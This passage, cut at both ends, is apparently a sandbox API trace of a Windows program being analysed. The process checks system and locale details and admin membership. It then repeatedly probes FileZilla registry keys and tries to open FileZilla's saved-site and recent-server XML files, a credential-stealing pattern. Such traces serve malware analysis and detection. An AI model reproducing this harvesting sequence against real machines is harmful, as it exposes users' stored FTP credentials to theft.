dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb5c) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb60) returned 0x0 [0056.061] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0056.061] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0056.061] GetProcAddress (hModule=0x75dc0000, lpProcName="IsWow64Process") returned 0x75dd195e [0056.061] GetCurrentProcess () returned 0xffffffff [0056.061] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x21fb58 | out: Wow64Process=0x21fb58) returned 1 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb10) returned 0x0 [0056.061] LocalAlloc (uFlags=0x40, uBytes=0x480) returned 0x2cb6d8 [0056.061] GetLocaleInfoA (in: Locale=0x400, LCType=0x1002, lpLCData=0x2cb6d8, cchData=1023 | out: lpLCData="United States") returned 14 [0056.062] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb10) returned 0x0 [0056.062] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2cb6d8) returned 0x0 [0056.062] GetLocaleInfoA (in: Locale=0x400, LCType=0x1001, lpLCData=0x2cb6d8, cchData=1023 | out: lpLCData="English") returned 8 [0056.062] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb10) returned 0x0 [0056.062] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2cb6d8) returned 0x0 [0056.062] AllocateAndInitializeSid (in: pIdentifierAuthority=0x21fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x21fb50 | out: pSid=0x21fb50*=0x2c5cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.062] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2c5cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x21fb5c | out: IsMember=0x21fb5c) returned 1 [0056.062] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb10) returned 0x0 [0056.062] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f934 | out: phkResult=0x21f934*=0x100) returned 0x0 [0056.062] RegQueryValueExA (in: hKey=0x100, lpValueName="HWID", lpReserved=0x0, lpType=0x21f930, lpData=0x0, lpcbData=0x21f954*=0x0 | out: lpType=0x21f930*=0x3, lpData=0x0, lpcbData=0x21f954*=0x26) returned 0x0 [0056.062] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cb600 [0056.062] RegQueryValueExA (in: hKey=0x100, lpValueName="HWID", lpReserved=0x0, lpType=0x0, lpData=0x2cb600, lpcbData=0x21f954*=0x26 | out: lpType=0x0, lpData=0x2cb600*=0x7b, lpcbData=0x21f954*=0x26) returned 0x0 [0056.062] RegCloseKey (hKey=0x100) returned 0x0 [0056.063] LocalFree (hMem=0x2cb600) returned 0x0 [0056.063] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9bc | out: phkResult=0x21f9bc*=0x100) returned 0x0 [0056.063] RegQueryValueExA (in: hKey=0x100, lpValueName="HWID", lpReserved=0x0, lpType=0x21f9b8, lpData=0x0, lpcbData=0x21f9dc*=0x0 | out: lpType=0x21f9b8*=0x3, lpData=0x0, lpcbData=0x21f9dc*=0x26) returned 0x0 [0056.063] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cb600 [0056.063] RegQueryValueExA (in: hKey=0x100, lpValueName="HWID", lpReserved=0x0, lpType=0x0, lpData=0x2cb600, lpcbData=0x21f9dc*=0x26 | out: lpType=0x0, lpData=0x2cb600*=0x7b, lpcbData=0x21f9dc*=0x26) returned 0x0 [0056.063] RegCloseKey (hKey=0x100) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb10) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb5c) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2cb600) returned 0x0 [0056.063] LocalFree (hMem=0x2cb600) returned 0x0 [0056.063] LocalFree (hMem=0x2cb6d8) returned 0x0 [0056.063] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0056.063] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0056.063] GetNativeSystemInfo (in: lpSystemInfo=0x21fb28 | out: lpSystemInfo=0x21fb28*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb5c) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb28) returned 0x0 [0056.063] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.063] IStream:LockRegion (This=0x2c1a58, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb00) returned 0x0 [0056.063] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.063] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.063] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd0) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbec) returned 0x0 [0056.063] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.063] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f32c | out: phkResult=0x21f32c*=0x0) returned 0x2 [0056.063] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2fc | out: phkResult=0x21f2fc*=0x0) returned 0x2 [0056.063] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2cc | out: phkResult=0x21f2cc*=0x0) returned 0x2 [0056.063] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f320 | out: phkResult=0x21f320*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2f0 | out: phkResult=0x21f2f0*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2c0 | out: phkResult=0x21f2c0*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f314 | out: phkResult=0x21f314*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2e4 | out: phkResult=0x21f2e4*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2b4 | out: phkResult=0x21f2b4*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f308 | out: phkResult=0x21f308*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2d8 | out: phkResult=0x21f2d8*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2a8 | out: phkResult=0x21f2a8*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2fc | out: phkResult=0x21f2fc*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2cc | out: phkResult=0x21f2cc*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f29c | out: phkResult=0x21f29c*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2f0 | out: phkResult=0x21f2f0*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2c0 | out: phkResult=0x21f2c0*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f290 | out: phkResult=0x21f290*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f30c | out: phkResult=0x21f30c*=0x0) returned 0x2 [0056.064] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2dc | out: phkResult=0x21f2dc*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2ac | out: phkResult=0x21f2ac*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f300 | out: phkResult=0x21f300*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2d0 | out: phkResult=0x21f2d0*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2a0 | out: phkResult=0x21f2a0*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2f4 | out: phkResult=0x21f2f4*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2c4 | out: phkResult=0x21f2c4*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f294 | out: phkResult=0x21f294*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2e8 | out: phkResult=0x21f2e8*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2b8 | out: phkResult=0x21f2b8*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f288 | out: phkResult=0x21f288*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2dc | out: phkResult=0x21f2dc*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2ac | out: phkResult=0x21f2ac*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f27c | out: phkResult=0x21f27c*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2d0 | out: phkResult=0x21f2d0*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2a0 | out: phkResult=0x21f2a0*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f270 | out: phkResult=0x21f270*=0x0) returned 0x2 [0056.065] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f32c | out: phkResult=0x21f32c*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2fc | out: phkResult=0x21f2fc*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2cc | out: phkResult=0x21f2cc*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f320 | out: phkResult=0x21f320*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2f0 | out: phkResult=0x21f2f0*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2c0 | out: phkResult=0x21f2c0*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f314 | out: phkResult=0x21f314*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2e4 | out: phkResult=0x21f2e4*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2b4 | out: phkResult=0x21f2b4*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f308 | out: phkResult=0x21f308*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2d8 | out: phkResult=0x21f2d8*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f2a8 | out: phkResult=0x21f2a8*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2fc | out: phkResult=0x21f2fc*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2cc | out: phkResult=0x21f2cc*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f29c | out: phkResult=0x21f29c*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f2f0 | out: phkResult=0x21f2f0*=0x0) returned 0x2 [0056.066] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f2c0 | out: phkResult=0x21f2c0*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f290 | out: phkResult=0x21f290*=0x0) returned 0x2 [0056.067] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", phkResult=0x21f3d4 | out: phkResult=0x21f3d4*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb0 | out: phkResult=0x21fbb0*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb80 | out: phkResult=0x21fb80*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb50 | out: phkResult=0x21fb50*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbcc | out: phkResult=0x21fbcc*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb9c | out: phkResult=0x21fb9c*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb6c | out: phkResult=0x21fb6c*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbcc | out: phkResult=0x21fbcc*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb9c | out: phkResult=0x21fb9c*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb6c | out: phkResult=0x21fb6c*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbcc | out: phkResult=0x21fbcc*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb9c | out: phkResult=0x21fb9c*=0x0) returned 0x2 [0056.067] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb6c | out: phkResult=0x21fb6c*=0x0) returned 0x2 [0056.067] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cbcc0 [0056.067] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cbcc0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.069] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.069] lstrlenA (lpString="\\FileZilla") returned 10 [0056.069] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x2cb600 [0056.069] lstrcpyA (in: lpString1=0x2cb600, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.069] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0056.069] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.069] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned 49 [0056.069] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0056.069] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2cbcc0 [0056.069] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0056.069] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml" [0056.069] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x43 [0056.069] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x2cb6c0 [0056.069] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpDst=0x2cb6c0, nSize=0x43 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml") returned 0x42 [0056.069] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.069] LocalFree (hMem=0x2cb6c0) returned 0x0 [0056.069] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.069] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned 49 [0056.069] lstrlenA (lpString="\\recentservers.xml") returned 18 [0056.069] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x2cbcc0 [0056.069] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0056.069] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml" [0056.069] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x45 [0056.069] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x2cbf40 [0056.069] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpDst=0x2cbf40, nSize=0x45 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned 0x44 [0056.069] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.070] LocalFree (hMem=0x2cbf40) returned 0x0 [0056.070] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.070] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned 49 [0056.070] lstrlenA (lpString="\\filezilla.xml") returned 14 [0056.070] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cbcc0 [0056.070] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0056.070] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml" [0056.070] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0056.070] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x2cbf40 [0056.070] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml", lpDst=0x2cbf40, nSize=0x41 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml") returned 0x40 [0056.070] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.070] LocalFree (hMem=0x2cbf40) returned 0x0 [0056.070] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.070] LocalFree (hMem=0x2cb600) returned 0x0 [0056.070] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cbcc0 [0056.070] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cbcc0 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.070] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.070] lstrlenA (lpString="\\FileZilla") returned 10 [0056.070] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2cb600 [0056.070] lstrcpyA (in: lpString1=0x2cb600, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.070] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0056.071] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.071] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0056.071] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0056.071] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x2cbcc0 [0056.071] lstrcpyA (in: 